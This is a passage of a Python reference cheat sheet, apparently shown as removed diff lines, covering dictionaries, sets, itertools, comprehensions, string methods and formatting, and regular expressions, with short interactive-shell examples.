-'I am bringing 0 eggs.'
-```
-
-_Return to the Top_
-
-### The setdefault() Method
-
-Let's consider this code:
-
-```python
-spam = {'name': 'Pooka', 'age': 5}
-
-if 'color' not in spam:
-    spam['color'] = 'black'
-```
-
-Using `setdefault` we could write the same code more succinctly:
-
-```python
->>> spam = {'name': 'Pooka', 'age': 5}
->>> spam.setdefault('color', 'black')
-'black'
-```
-
-```python
->>> spam
-{'color': 'black', 'age': 5, 'name': 'Pooka'}
-```
-
-```python
->>> spam.setdefault('color', 'white')
-'black'
-```
-
-```python
->>> spam
-{'color': 'black', 'age': 5, 'name': 'Pooka'}
-```
-
-_Return to the Top_
-
-### Pretty Printing
-
-```python
->>> import pprint
->>>
->>> message = 'It was a bright cold day in April, and the clocks were striking
->>> thirteen.'
->>> count = {}
->>>
->>> for character in message:
->>>     count.setdefault(character, 0)
->>>     count[character] = count[character] + 1
->>>
->>> pprint.pprint(count)
-{' ': 13,
- ',': 1,
- '.': 1,
- 'A': 1,
- 'I': 1,
- 'a': 4,
- 'b': 1,
- 'c': 3,
- 'd': 3,
- 'e': 5,
- 'g': 2,
- 'h': 3,
- 'i': 6,
- 'k': 2,
- 'l': 3,
- 'n': 4,
- 'o': 2,
- 'p': 1,
- 'r': 5,
- 's': 3,
- 't': 6,
- 'w': 2,
- 'y': 1}
-```
-
-_Return to the Top_
-
-### Merge two dictionaries
-
-```python
-# in Python 3.5+:
->>> x = {'a': 1, 'b': 2}
->>> y = {'b': 3, 'c': 4}
->>> z = {**x, **y}
->>> z
-{'c': 4, 'a': 1, 'b': 3}
-
-# in Python 2.7
->>> z = dict(x, **y)
->>> z
-{'c': 4, 'a': 1, 'b': 3}
-```
-
-## sets
-
-From the Python 3 [documentation](https://docs.python.org/3/tutorial/datastructures.html)
-
-> A set is an unordered collection with no duplicate elements. Basic uses include membership testing and eliminating duplicate entries. Set objects also support mathematical operations like union, intersection, difference, and symmetric difference.
-
-### Initializing a set
-
-There are two ways to create sets: using curly braces `{}` and the built-in function `set()`
-
-```python
->>> s = {1, 2, 3}
->>> s = set([1, 2, 3])
-```
-
-When creating an empty set, be sure to not use the curly braces `{}` or you will get an empty dictionary instead.
-
-```python
->>> s = {}
->>> type(s)
-<class 'dict'>
-```
-
-### sets: unordered collections of unique elements
-
-A set automatically remove all the duplicate values.
-
-```python
->>> s = {1, 2, 3, 2, 3, 4}
->>> s
-{1, 2, 3, 4}
-```
-
-And as an unordered data type, they can't be indexed.
-
-```python
->>> s = {1, 2, 3}
->>> s[0]
-Traceback (most recent call last):
-  File "<stdin>", line 1, in <module>
-TypeError: 'set' object does not support indexing
->>>
-```
-
-### set add() and update()
-
-Using the `add()` method we can add a single element to the set.
-
-```python
->>> s = {1, 2, 3}
->>> s.add(4)
->>> s
-{1, 2, 3, 4}
-```
-
-And with `update()`, multiple ones .
-
-```python
->>> s = {1, 2, 3}
->>> s.update([2, 3, 4, 5, 6])
->>> s
-{1, 2, 3, 4, 5, 6}  # remember, sets automatically remove duplicates
-```
-
-### set remove() and discard()
-
-Both methods will remove an element from the set, but `remove()` will raise a `key error` if the value doesn't exist.
-
-```python
->>> s = {1, 2, 3}
->>> s.remove(3)
->>> s
-{1, 2}
->>> s.remove(3)
-Traceback (most recent call last):
-  File "<stdin>", line 1, in <module>
-KeyError: 3
-```
-
-`discard()` won't raise any errors.
-
-```python
->>> s = {1, 2, 3}
->>> s.discard(3)
->>> s
-{1, 2}
->>> s.discard(3)
->>>
-```
-
-### set union()
-
-`union()` or `|` will create a new set that contains all the elements from the sets provided.
-
-```python
->>> s1 = {1, 2, 3}
->>> s2 = {3, 4, 5}
->>> s1.union(s2)  # or 's1 | s2'
-{1, 2, 3, 4, 5}
-```
-
-### set intersection
-
-`intersection` or `&` will return a set containing only the elements that are common to all of them.
-
-```python
->>> s1 = {1, 2, 3}
->>> s2 = {2, 3, 4}
->>> s3 = {3, 4, 5}
->>> s1.intersection(s2, s3)  # or 's1 & s2 & s3'
-{3}
-```
-
-### set difference
-
-`difference` or `-` will return only the elements that are unique to the first set (invoked set).
-
-```python
->>> s1 = {1, 2, 3}
->>> s2 = {2, 3, 4}
->>> s1.difference(s2)  # or 's1 - s2'
-{1}
->>> s2.difference(s1) # or 's2 - s1'
-{4}
-```
-
-### set symetric_difference
-
-`symetric_difference` or `^` will return all the elements that are not common between them.
-
-```python
->>> s1 = {1, 2, 3}
->>> s2 = {2, 3, 4}
->>> s1.symmetric_difference(s2)  # or 's1 ^ s2'
-{1, 4}
-```
-
-_Return to the Top_
-
-## itertools Module
-
-The _itertools_ module is a collection of tools intended to be fast and use memory efficiently when handling iterators (like lists or dictionaries).
-
-From the official [Python 3.x documentation](https://docs.python.org/3/library/itertools.html):
-
-> The module standardizes a core set of fast, memory efficient tools that are useful by themselves or in combination. Together, they form an "iterator algebra" making it possible to construct specialized tools succinctly and efficiently in pure Python.
-
-The _itertools_ module comes in the standard library and must be imported.
-
-The [operator](https://docs.python.org/3/library/operator.html) module will also be used. This module is not necessary when using itertools, but needed for some of the examples below.
-
-_Return to the Top_
-
-### accumulate()
-
-Makes an iterator that returns the results of a function.
-
-```python
-itertools.accumulate(iterable[, func])
-```
-
-Example:
-
-```python
->>> data = [1, 2, 3, 4, 5]
->>> result = itertools.accumulate(data, operator.mul)
->>> for each in result:
->>>    print(each)
-1
-2
-6
-24
-120
-```
-
-The operator.mul takes two numbers and multiplies them:
-
-```python
-operator.mul(1, 2)
-2
-operator.mul(2, 3)
-6
-operator.mul(6, 4)
-24
-operator.mul(24, 5)
-120
-```
-
-Passing a function is optional:
-
-```python
->>> data = [5, 2, 6, 4, 5, 9, 1]
->>> result = itertools.accumulate(data)
->>> for each in result:
->>>    print(each)
-5
-7
-13
-17
-22
-31
-32
-```
-
-If no function is designated the items will be summed:
-
-```python
-5
-5 + 2 = 7
-7 + 6 = 13
-13 + 4 = 17
-17 + 5 = 22
-22 + 9 = 31
-31 + 1 = 32
-```
-
-_Return to the Top_
-
-### combinations()
-
-Takes an iterable and a integer. This will create all the unique combination that have r members.
-
-```python
-itertools.combinations(iterable, r)
-```
-
-Example:
-
-```python
->>> shapes = ['circle', 'triangle', 'square',]
->>> result = itertools.combinations(shapes, 2)
->>> for each in result:
->>>    print(each)
-('circle', 'triangle')
-('circle', 'square')
-('triangle', 'square')
-```
-
-_Return to the Top_
-
-### combinations_with_replacement()
-
-Just like combinations(), but allows individual elements to be repeated more than once.
-
-```python
-itertools.combinations_with_replacement(iterable, r)
-```
-
-Example:
-
-```python
->>> shapes = ['circle', 'triangle', 'square']
->>> result = itertools.combinations_with_replacement(shapes, 2)
->>> for each in result:
->>>    print(each)
-('circle', 'circle')
-('circle', 'triangle')
-('circle', 'square')
-('triangle', 'triangle')
-('triangle', 'square')
-('square', 'square')
-```
-
-_Return to the Top_
-
-### count()
-
-Makes an iterator that returns evenly spaced values starting with number start.
-
-```python
-itertools.count(start=0, step=1)
-```
-
-Example:
-
-```python
->>> for i in itertools.count(10,3):
->>>    print(i)
->>>    if i > 20:
->>>        break
-10
-13
-16
-19
-22
-```
-
-_Return to the Top_
-
-### cycle()
-
-This function cycles through an iterator endlessly.
-
-```python
-itertools.cycle(iterable)
-```
-
-Example:
-
-```python
->>> colors = ['red', 'orange', 'yellow', 'green', 'blue', 'violet']
->>> for color in itertools.cycle(colors):
->>>    print(color)
-red
-orange
-yellow
-green
-blue
-violet
-red
-orange
-```
-
-When reached the end of the iterable it start over again from the beginning.
-
-_Return to the Top_
-
-### chain()
-
-Take a series of iterables and return them as one long iterable.
-
-```python
-itertools.chain(*iterables)
-```
-
-Example:
-
-```python
->>> colors = ['red', 'orange', 'yellow', 'green', 'blue']
->>> shapes = ['circle', 'triangle', 'square', 'pentagon']
->>> result = itertools.chain(colors, shapes)
->>> for each in result:
->>>    print(each)
-red
-orange
-yellow
-green
-blue
-circle
-triangle
-square
-pentagon
-```
-
-_Return to the Top_
-
-### compress()
-
-Filters one iterable with another.
-
-```python
-itertools.compress(data, selectors)
-```
-
-Example:
-
-```python
->>> shapes = ['circle', 'triangle', 'square', 'pentagon']
->>> selections = [True, False, True, False]
->>> result = itertools.compress(shapes, selections)
->>> for each in result:
->>>    print(each)
-circle
-square
-```
-
-_Return to the Top_
-
-### dropwhile()
-
-Make an iterator that drops elements from the iterable as long as the predicate is true; afterwards, returns every element.
-
-```python
-itertools.dropwhile(predicate, iterable)
-```
-
-Example:
-
-```python
->>> data = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 1]
->>> result = itertools.dropwhile(lambda x: x<5, data)
->>> for each in result:
->>>    print(each)
-5
-6
-7
-8
-9
-10
-1
-```
-
-_Return to the Top_
-
-### filterfalse()
-
-Makes an iterator that filters elements from iterable returning only those for which the predicate is False.
-
-```python
-itertools.filterfalse(predicate, iterable)
-```
-
-Example:
-
-```python
->>> data = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 1]
->>> result = itertools.filterfalse(lambda x: x<5, data)
->>> for each in result:
->>>    print(each)
-5
-6
-7
-8
-9
-10
-```
-
-_Return to the Top_
-
-### groupby()
-
-Simply put, this function groups things together.
-
-```python
-itertools.groupby(iterable, key=None)
-```
-
-Example:
-
-```python
->>> robots = [{
-    'name': 'blaster',
-    'faction': 'autobot'
-}, {
-    'name': 'galvatron',
-    'faction': 'decepticon'
-}, {
-    'name': 'jazz',
-    'faction': 'autobot'
-}, {
-    'name': 'metroplex',
-    'faction': 'autobot'
-}, {
-    'name': 'megatron',
-    'faction': 'decepticon'
-}, {
-    'name': 'starcream',
-    'faction': 'decepticon'
-}]
->>> for key, group in itertools.groupby(robots, key=lambda x: x['faction']):
->>>    print(key)
->>>    print(list(group))
-autobot
-[{'name': 'blaster', 'faction': 'autobot'}]
-decepticon
-[{'name': 'galvatron', 'faction': 'decepticon'}]
-autobot
-[{'name': 'jazz', 'faction': 'autobot'}, {'name': 'metroplex', 'faction': 'autobot'}]
-decepticon
-[{'name': 'megatron', 'faction': 'decepticon'}, {'name': 'starcream', 'faction': 'decepticon'}]
-```
-
-_Return to the Top_
-
-### islice()
-
-This function is very much like slices. This allows you to cut out a piece of an iterable.
-
-```python
-itertools.islice(iterable, start, stop[, step])
-```
-
-Example:
-
-```python
->>> colors = ['red', 'orange', 'yellow', 'green', 'blue',]
->>> few_colors = itertools.islice(colors, 2)
->>> for each in few_colors:
->>>    print(each)
-red
-orange
-```
-
-_Return to the Top_
-
-### permutations()
-
-```python
-itertools.permutations(iterable, r=None)
-```
-
-Example:
-
-```python
->>> alpha_data = ['a', 'b', 'c']
->>> result = itertools.permutations(alpha_data)
->>> for each in result:
->>>    print(each)
-('a', 'b', 'c')
-('a', 'c', 'b')
-('b', 'a', 'c')
-('b', 'c', 'a')
-('c', 'a', 'b')
-('c', 'b', 'a')
-```
-
-_Return to the Top_
-
-### product()
-
-Creates the cartesian products from a series of iterables.
-
-```python
->>> num_data = [1, 2, 3]
->>> alpha_data = ['a', 'b', 'c']
->>> result = itertools.product(num_data, alpha_data)
->>> for each in result:
-    print(each)
-(1, 'a')
-(1, 'b')
-(1, 'c')
-(2, 'a')
-(2, 'b')
-(2, 'c')
-(3, 'a')
-(3, 'b')
-(3, 'c')
-```
-
-_Return to the Top_
-
-### repeat()
-
-This function will repeat an object over and over again. Unless, there is a times argument.
-
-```python
-itertools.repeat(object[, times])
-```
-
-Example:
-
-```python
->>> for i in itertools.repeat("spam", 3):
-    print(i)
-spam
-spam
-spam
-```
-
-_Return to the Top_
-
-### starmap()
-
-Makes an iterator that computes the function using arguments obtained from the iterable.
-
-```python
-itertools.starmap(function, iterable)
-```
-
-Example:
-
-```python
->>> data = [(2, 6), (8, 4), (7, 3)]
->>> result = itertools.starmap(operator.mul, data)
->>> for each in result:
->>>    print(each)
-12
-32
-21
-```
-
-_Return to the Top_
-
-### takewhile()
-
-The opposite of dropwhile(). Makes an iterator and returns elements from the iterable as long as the predicate is true.
-
-```python
-itertools.takewhile(predicate, iterable)
-```
-
-Example:
-
-```python
->>> data = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 1]
->>> result = itertools.takewhile(lambda x: x<5, data)
->>> for each in result:
->>>    print(each)
-1
-2
-3
-4
-```
-
-_Return to the Top_
-
-### tee()
-
-Return n independent iterators from a single iterable.
-
-```python
-itertools.tee(iterable, n=2)
-```
-
-Example:
-
-```python
->>> colors = ['red', 'orange', 'yellow', 'green', 'blue']
->>> alpha_colors, beta_colors = itertools.tee(colors)
->>> for each in alpha_colors:
->>>    print(each)
-red
-orange
-yellow
-green
-blue
-```
-
-```python
->>> colors = ['red', 'orange', 'yellow', 'green', 'blue']
->>> alpha_colors, beta_colors = itertools.tee(colors)
->>> for each in beta_colors:
->>>    print(each)
-red
-orange
-yellow
-green
-blue
-```
-
-_Return to the Top_
-
-### zip_longest()
-
-Makes an iterator that aggregates elements from each of the iterables. If the iterables are of uneven length, missing values are filled-in with fillvalue. Iteration continues until the longest iterable is exhausted.
-
-```python
-itertools.zip_longest(*iterables, fillvalue=None)
-```
-
-Example:
-
-```python
->>> colors = ['red', 'orange', 'yellow', 'green', 'blue',]
->>> data = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10,]
->>> for each in itertools.zip_longest(colors, data, fillvalue=None):
->>>    print(each)
-('red', 1)
-('orange', 2)
-('yellow', 3)
-('green', 4)
-('blue', 5)
-(None, 6)
-(None, 7)
-(None, 8)
-(None, 9)
-(None, 10)
-```
-
-_Return to the Top_
-
-## Comprehensions
-
-### List comprehension
-
-```python
->>> a = [1, 3, 5, 7, 9, 11]
-
->>> [i - 1 for i in a]
-[0, 2, 4, 6, 8, 10]
-```
-
-### Set comprehension
-
-```python
->>> b = {"abc", "def"}
->>> {s.upper() for s in b}
-{"ABC", "DEF"}
-```
-
-### Dict comprehension
-
-```python
->>> c = {'name': 'Pooka', 'age': 5}
->>> {v: k for k, v in c.items()}
-{'Pooka': 'name', 5: 'age'}
-```
-
-A List comprehension can be generated from a dictionary:
-
-```python
->>> c = {'name': 'Pooka', 'first_name': 'Oooka'}
->>> ["{}:{}".format(k.upper(), v.upper()) for k, v in c.items()]
-['NAME:POOKA', 'FIRST_NAME:OOOKA']
-```
-
-## Manipulating Strings
-
-### Escape Characters
-
-| Escape character | Prints as            |
-| ---------------- | -------------------- |
-| `\'`             | Single quote         |
-| `\"`             | Double quote         |
-|                  | Tab                  |
-|                  | Newline (line break) |
-| `\\`             | Backslash            |
-
-Example:
-
-```python
->>> print("Hello there!\nHow are you?\nI\'m doing fine.")
-Hello there!
-How are you?
-I'm doing fine.
-```
-
-_Return to the Top_
-
-### Raw Strings
-
-A raw string completely ignores all escape characters and prints any backslash that appears in the string.
-
-```python
->>> print(r'That is Carol\'s cat.')
-That is Carol\'s cat.
-```
-
-Note: mostly used for regular expression definition (see `re` package)
-
-_Return to the Top_
-
-### Multiline Strings with Triple Quotes
-
-```python
->>> print('''Dear Alice,
->>>
->>> Eve's cat has been arrested for catnapping, cat burglary, and extortion.
->>>
->>> Sincerely,
->>> Bob''')
-Dear Alice,
-
-Eve's cat has been arrested for catnapping, cat burglary, and extortion.
-
-Sincerely,
-Bob
-```
-
-To keep a nicer flow in your code, you can use the `dedent` function from the `textwrap` standard package.
-
-```python
->>> from textwrap import dedent
->>>
->>> def my_function():
->>>     print('''
->>>         Dear Alice,
->>>
->>>         Eve's cat has been arrested for catnapping, cat burglary, and extortion.
->>>
->>>         Sincerely,
->>>         Bob
->>>         ''').strip()
-```
-
-This generates the same string than before.
-
-_Return to the Top_
-
-### Indexing and Slicing Strings
-
-```
-H   e   l   l   o       w   o   r   l   d    !
-0   1   2   3   4   5   6   7   8   9   10   11
-```
-
-```python
->>> spam = 'Hello world!'
-
->>> spam[0]
-'H'
-```
-
-```python
->>> spam[4]
-'o'
-```
-
-```python
->>> spam[-1]
-'!'
-```
-
-Slicing:
-
-```python
->>> spam[0:5]
-'Hello'
-```
-
-```python
->>> spam[:5]
-'Hello'
-```
-
-```python
->>> spam[6:]
-'world!'
-```
-
-```python
->>> spam[6:-1]
-'world'
-```
-
-```python
->>> spam[:-1]
-'Hello world'
-```
-
-```python
->>> spam[::-1]
-'!dlrow olleH'
-```
-
-```python
->>> spam = 'Hello world!'
->>> fizz = spam[0:5]
->>> fizz
-'Hello'
-```
-
-_Return to the Top_
-
-### The in and not in Operators with Strings
-
-```python
->>> 'Hello' in 'Hello World'
-True
-```
-
-```python
->>> 'Hello' in 'Hello'
-True
-```
-
-```python
->>> 'HELLO' in 'Hello World'
-False
-```
-
-```python
->>> '' in 'spam'
-True
-```
-
-```python
->>> 'cats' not in 'cats and dogs'
-False
-```
-
-### The in and not in Operators with list
-
-```python
->>> a = [1, 2, 3, 4]
->>> 5 in a
-False
-```
-
-```python
->>> 2 in a
-True
-```
-
-_Return to the Top_
-
-### The upper(), lower(), isupper(), and islower() String Methods
-
-`upper()` and `lower()`:
-
-```python
->>> spam = 'Hello world!'
->>> spam = spam.upper()
->>> spam
-'HELLO WORLD!'
-```
-
-```python
->>> spam = spam.lower()
->>> spam
-'hello world!'
-```
-
-isupper() and islower():
-
-```python
->>> spam = 'Hello world!'
->>> spam.islower()
-False
-```
-
-```python
->>> spam.isupper()
-False
-```
-
-```python
->>> 'HELLO'.isupper()
-True
-```
-
-```python
->>> 'abc12345'.islower()
-True
-```
-
-```python
->>> '12345'.islower()
-False
-```
-
-```python
->>> '12345'.isupper()
-False
-```
-
-_Return to the Top_
-
-### The isX String Methods
-
--   **isalpha()** returns True if the string consists only of letters and is not blank.
--   **isalnum()** returns True if the string consists only of letters and numbers and is not blank.
--   **isdecimal()** returns True if the string consists only of numeric characters and is not blank.
--   **isspace()** returns True if the string consists only of spaces,tabs, and new-lines and is not blank.
--   **istitle()** returns True if the string consists only of words that begin with an uppercase letter followed by only lowercase letters.
-
-_Return to the Top_
-
-### The startswith() and endswith() String Methods
-
-```python
->>> 'Hello world!'.startswith('Hello')
-True
-```
-
-```python
->>> 'Hello world!'.endswith('world!')
-True
-```
-
-```python
->>> 'abc123'.startswith('abcdef')
-False
-```
-
-```python
->>> 'abc123'.endswith('12')
-False
-```
-
-```python
->>> 'Hello world!'.startswith('Hello world!')
-True
-```
-
-```python
->>> 'Hello world!'.endswith('Hello world!')
-True
-```
-
-_Return to the Top_
-
-### The join() and split() String Methods
-
-join():
-
-```python
->>> ', '.join(['cats', 'rats', 'bats'])
-'cats, rats, bats'
-```
-
-```python
->>> ' '.join(['My', 'name', 'is', 'Simon'])
-'My name is Simon'
-```
-
-```python
->>> 'ABC'.join(['My', 'name', 'is', 'Simon'])
-'MyABCnameABCisABCSimon'
-```
-
-split():
-
-```python
->>> 'My name is Simon'.split()
-['My', 'name', 'is', 'Simon']
-```
-
-```python
->>> 'MyABCnameABCisABCSimon'.split('ABC')
-['My', 'name', 'is', 'Simon']
-```
-
-```python
->>> 'My name is Simon'.split('m')
-['My na', 'e is Si', 'on']
-```
-
-_Return to the Top_
-
-### Justifying Text with rjust(), ljust(), and center()
-
-rjust() and ljust():
-
-```python
->>> 'Hello'.rjust(10)
-'     Hello'
-```
-
-```python
->>> 'Hello'.rjust(20)
-'               Hello'
-```
-
-```python
->>> 'Hello World'.rjust(20)
-'         Hello World'
-```
-
-```python
->>> 'Hello'.ljust(10)
-'Hello     '
-```
-
-An optional second argument to rjust() and ljust() will specify a fill character other than a space character. Enter the following into the interactive shell:
-
-```python
->>> 'Hello'.rjust(20, '*')
-'***************Hello'
-```
-
-```python
->>> 'Hello'.ljust(20, '-')
-'Hello---------------'
-```
-
-center():
-
-```python
->>> 'Hello'.center(20)
-'       Hello       '
-```
-
-```python
->>> 'Hello'.center(20, '=')
-'=======Hello========'
-```
-
-_Return to the Top_
-
-### Removing Whitespace with strip(), rstrip(), and lstrip()
-
-```python
->>> spam = '    Hello World     '
->>> spam.strip()
-'Hello World'
-```
-
-```python
->>> spam.lstrip()
-'Hello World '
-```
-
-```python
->>> spam.rstrip()
-'    Hello World'
-```
-
-```python
->>> spam = 'SpamSpamBaconSpamEggsSpamSpam'
->>> spam.strip('ampS')
-'BaconSpamEggs'
-```
-
-_Return to the Top_
-
-### Copying and Pasting Strings with the pyperclip Module (need pip install)
-
-```python
->>> import pyperclip
-
->>> pyperclip.copy('Hello world!')
-
->>> pyperclip.paste()
-'Hello world!'
-```
-
-_Return to the Top_
-
-## String Formatting
-
-### % operator
-
-```python
->>> name = 'Pete'
->>> 'Hello %s' % name
-"Hello Pete"
-```
-
-We can use the `%x` format specifier to convert an int value to a string:
-
-```python
->>> num = 5
->>> 'I have %x apples' % num
-"I have 5 apples"
-```
-
-Note: For new code, using str.format or f-strings (Python 3.6+) is strongly recommended over the `%` operator.
-
-_Return to the Top_
-
-### String Formatting (str.format)
-
-Python 3 introduced a new way to do string formatting that was later back-ported to Python 2.7. This makes the syntax for string formatting more regular.
-
-```python
->>> name = 'John'
->>> age = 20'
-
->>> "Hello I'm {}, my age is {}".format(name, age)
-"Hello I'm John, my age is 20"
-```
-
-```python
->>> "Hello I'm {0}, my age is {1}".format(name, age)
-"Hello I'm John, my age is 20"
-```
-
-The official [Python 3.x documentation](https://docs.python.org/3/library/stdtypes.html?highlight=sprintf#printf-style-string-formatting) recommend `str.format` over the `%` operator:
-
-> The formatting operations described here exhibit a variety of quirks that lead to a number of common errors (such as failing to display tuples and dictionaries correctly). Using the newer formatted string literals or the str.format() interface helps avoid these errors. These alternatives also provide more powerful, flexible and extensible approaches to formatting text.
-
-_Return to the Top_
-
-### Lazy string formatting
-
-You would only use `%s` string formatting on functions that can do lazy parameters evaluation, the most common being logging:
-
-Prefer:
-
-```python
->>> name = "alice"
->>> logging.debug("User name: %s", name)
-```
-
-Over:
-
-```python
->>> logging.debug("User name: {}".format(name))
-```
-
-Or:
-
-```python
->>> logging.debug("User name: " + name)
-```
-
-_Return to the Top_
-
-### Formatted String Literals or f-strings (Python 3.6+)
-
-```python
->>> name = 'Elizabeth'
->>> f'Hello {name}!'
-'Hello Elizabeth!
-```
-
-It is even possible to do inline arithmetic with it:
-
-```python
->>> a = 5
->>> b = 10
->>> f'Five plus ten is {a + b} and not {2 * (a + b)}.'
-'Five plus ten is 15 and not 30.'
-```
-
-_Return to the Top_
-
-### Template Strings
-
-A simpler and less powerful mechanism, but it is recommended when handling format strings generated by users. Due to their reduced complexity template strings are a safer choice.
-
-```python
->>> from string import Template
->>> name = 'Elizabeth'
->>> t = Template('Hey $name!')
->>> t.substitute(name=name)
-'Hey Elizabeth!'
-```
-
-_Return to the Top_
-
-## Regular Expressions
-
-1. Import the regex module with `import re`.
-2. Create a Regex object with the `re.compile()` function. (Remember to use a raw string.)
-3. Pass the string you want to search into the Regex object's `search()` method. This returns a `Match` object.
-4. Call the Match object's `group()` method to return a string of the actual matched text.
-
-All the regex functions in Python are in the re module:
-
-```python
->>> import re
-```
-
-_Return to the Top_
-
-### Matching Regex Objects
-
-```python
->>> phone_num_regex = re.compile(r'\d\d\d-\d\d\d-\d\d\d\d')
-
->>> mo = phone_num_regex.search('My number is 415-555-4242.')
-
->>> print('Phone number found: {}'.format(mo.group()))
-Phone number found: 415-555-4242
-```
-
-_Return to the Top_
-
-### Grouping with Parentheses
-
-```python
->>> phone_num_regex = re.compile(r'(\d\d\d)-(\d\d\d-\d\d\d\d)')
-
->>> mo = phone_num_regex.search('My number is 415-555-4242.')
-
->>> mo.group(1)
-'415'
-
->>> mo.group(2)
-'555-4242'
-
->>> mo.group(0)
-'415-555-4242'
-
->>> mo.group()
-'415-555-4242'
-```
-
-To retrieve all the groups at once: use the groups() method—note the plural form for the name.
-
-```python
->>> mo.groups()
-('415', '555-4242')
-
->>> area_code, main_number = mo.groups()
-
->>> print(area_code)
-415
-
->>> print(main_number)
-555-4242
-```
-
-_Return to the Top_
-
-### Matching Multiple Groups with the Pipe
-
-The | character is called a pipe. You can use it anywhere you want to match one of many expressions. For example, the regular expression r'Batman|Tina Fey' will match either 'Batman' or 'Tina Fey'.
-
-```python
->>> hero_regex = re.compile (r'Batman|Tina Fey')
-
->>> mo1 = hero_regex.search('Batman and Tina Fey.')
-
->>> mo1.group()
-'Batman'
-
->>> mo2 = hero_regex.search('Tina Fey and Batman.')
-
->>> mo2.group()
-'Tina Fey'
-```
-
-You can also use the pipe to match one of several patterns as part of your regex:
-
-```python
->>> bat_regex = re.compile(r'Bat(man|mobile|copter|bat)')
-
->>> mo = bat_regex.search('Batmobile lost a wheel')
-
->>> mo.group()
-'Batmobile'
-
->>> mo.group(1)
-'mobile'
-```
-
-_Return to the Top_
-
-### Optional Matching with the Question Mark
-
-The ? character flags the group that precedes it as an optional part of the pattern.
-
-```python
->>> bat_regex = re.compile(r'Bat(wo)?man')
->>> mo1 = bat_regex.search('The Adventures of Batman')
->>> mo1.group()
-'Batman'
-
->>> mo2 = bat_regex.search('The Adventures of Batwoman')
->>> mo2.group()
-'Batwoman'
-```
-
-_Return to the Top_
-
-### Matching Zero or More with the Star
-
-The \* (called the star or asterisk) means "match zero or more"—the group that precedes the star can occur any number of times in the text.
-
-```python
->>> bat_regex = re.compile(r'Bat(wo)*man')
->>> mo1 = bat_regex.search('The Adventures of Batman')
->>> mo1.group()
-'Batman'
-
->>> mo2 = bat_regex.search('The Adventures of Batwoman')
->>> mo2.group()
-'Batwoman'
-
->>> mo3 = bat_regex.search('The Adventures of Batwowowowoman')
->>> mo3.group()
-'Batwowowowoman'
-```
-
-_Return to the Top_
-
-### Matching One or More with the Plus
-
-While \* means "match zero or more," the + (or plus) means "match one or more". The group preceding a plus must appear at least once. It is not optional:
-
-```python
->>> bat_regex = re.compile(r'Bat(wo)+man')
->>> mo1 = bat_regex.search('The Adventures of Batwoman')
->>> mo1.group()
-'Batwoman'
-```
-
-```python
->>> mo2 = bat_regex.search('The Adventures of Batwowowowoman')
->>> mo2.group()
-'Batwowowowoman'
-```
-
-```python
->>> mo3 = bat_regex.search('The Adventures of Batman')
->>> mo3 is None
-True
-```
-
-_Return to the Top_
-
-### Matching Specific Repetitions with Curly Brackets
-
-If you have a group that you want to repeat a specific number of times, follow the group in your regex with a number in curly brackets. For example, the regex (Ha){3} will match the string 'HaHaHa', but it will not match 'HaHa', since the latter has only two repeats of the (Ha) group.
-
-Instead of one number, you can specify a range by writing a minimum, a comma, and a maximum in between the curly brackets. For example, the regex (Ha){3,5} will match 'HaHaHa', 'HaHaHaHa', and 'HaHaHaHaHa'.
-
-```python
->>> ha_regex = re.compile(r'(Ha){3}')
->>> mo1 = ha_regex.search('HaHaHa')
->>> mo1.group()
-'HaHaHa'
-```
-
-```python
->>> mo2 = ha_regex.search('Ha')
->>> mo2 is None
-True
-```
-
-_Return to the Top_
-
-### Greedy and Nongreedy Matching
-
-Python's regular expressions are greedy by default, which means that in ambiguous situations they will match the longest string possible. The non-greedy version of the curly brackets, which matches the shortest string possible, has the closing curly bracket followed by a question mark.
-
-```python
->>> greedy_ha_regex = re.compile(r'(Ha){3,5}')
->>> mo1 = greedy_ha_regex.search('HaHaHaHaHa')
->>> mo1.group()
-'HaHaHaHaHa'
-```
-
-```python
->>> nongreedy_ha_regex = re.compile(r'(Ha){3,5}?')
->>> mo2 = nongreedy_ha_regex.search('HaHaHaHaHa')
->>> mo2.group()
-'HaHaHa'
-```
-
-_Return to the Top_
-
-### The findall() Method
-
-In addition to the search() method, Regex objects also have a findall() method. While search() will return a Match object of the first matched text in the searched string, the findall() method will return the strings of every match in the searched string.
-
-```python
->>> phone_num_regex = re.compile(r'\d\d\d-\d\d\d-\d\d\d\d') # has no groups
-
->>> phone_num_regex.findall('Cell: 415-555-9999 Work: 212-555-0000')
-['415-555-9999', '212-555-0000']
-```
-
-To summarize what the findall() method returns, remember the following:
-
--   When called on a regex with no groups, such as \d-\d\d\d-\d\d\d\d, the method findall() returns a list of ng matches, such as \['415-555-9999', '212-555-0000'].
--   When called on a regex that has groups, such as (\d\d\d)-(d\d)-(\d\d\d\d), the method findall() returns a list of es of strings (one string for each group), such as \[('415', '555', '9999'), ('212', '555', '0000')].
-
-_Return to the Top_
-
-### Making Your Own Character Classes
-
-There are times when you want to match a set of characters but the shorthand character classes (\d, \w, \s, and so on) are too broad. You can define your own character class using square brackets. For example, the character class \[aeiouAEIOU] will match any vowel, both lowercase and uppercase.
-
-```python
->>> vowel_regex = re.compile(r'[aeiouAEIOU]')
-
->>> vowel_regex.findall('Robocop eats baby food. BABY FOOD.')
-['o', 'o', 'o', 'e', 'a', 'a', 'o', 'o', 'A', 'O', 'O']
-```
-
-You can also include ranges of letters or numbers by using a hyphen. For example, the character class \[a-zA-Z0-9] will match all lowercase letters, uppercase letters, and numbers.
-
-By placing a caret character (^) just after the character class's opening bracket, you can make a negative character class. A negative character class will match all the characters that are not in the character class. For example, enter the following into the interactive shell:
-
-```python
->>> consonant_regex = re.compile(r'[^aeiouAEIOU]')
-
->>> consonant_regex.findall('Robocop eats baby food. BABY FOOD.')
-['R', 'b', 'c', 'p', ' ', 't', 's', ' ', 'b', 'b', 'y', ' ', 'f', 'd', '.', '
-', 'B', 'B', 'Y', ' ', 'F', 'D', '.']
-```
-
-_Return to the Top_
-
-### The Caret and Dollar Sign Characters
-
--   You can also use the caret symbol (^) at the start of a regex to indicate that a match must occur at the beginning of the searched text.
--   Likewise, you can put a dollar sign ($) at the end of the regex to indicate the string must end with this regex pattern.
--   And you can use the ^ and $ together to indicate that the entire string must match the regex—that is, it's not enough for a match to be made on some subset of the string.
-
-The r'^Hello' regular expression string matches strings that begin with 'Hello':
-
-```python
->>> begins_with_hello = re.compile(r'^Hello')
-
->>> begins_with_hello.search('Hello world!')
-<_sre.SRE_Match object; span=(0, 5), match='Hello'>
-
->>> begins_with_hello.search('He said hello.') is None
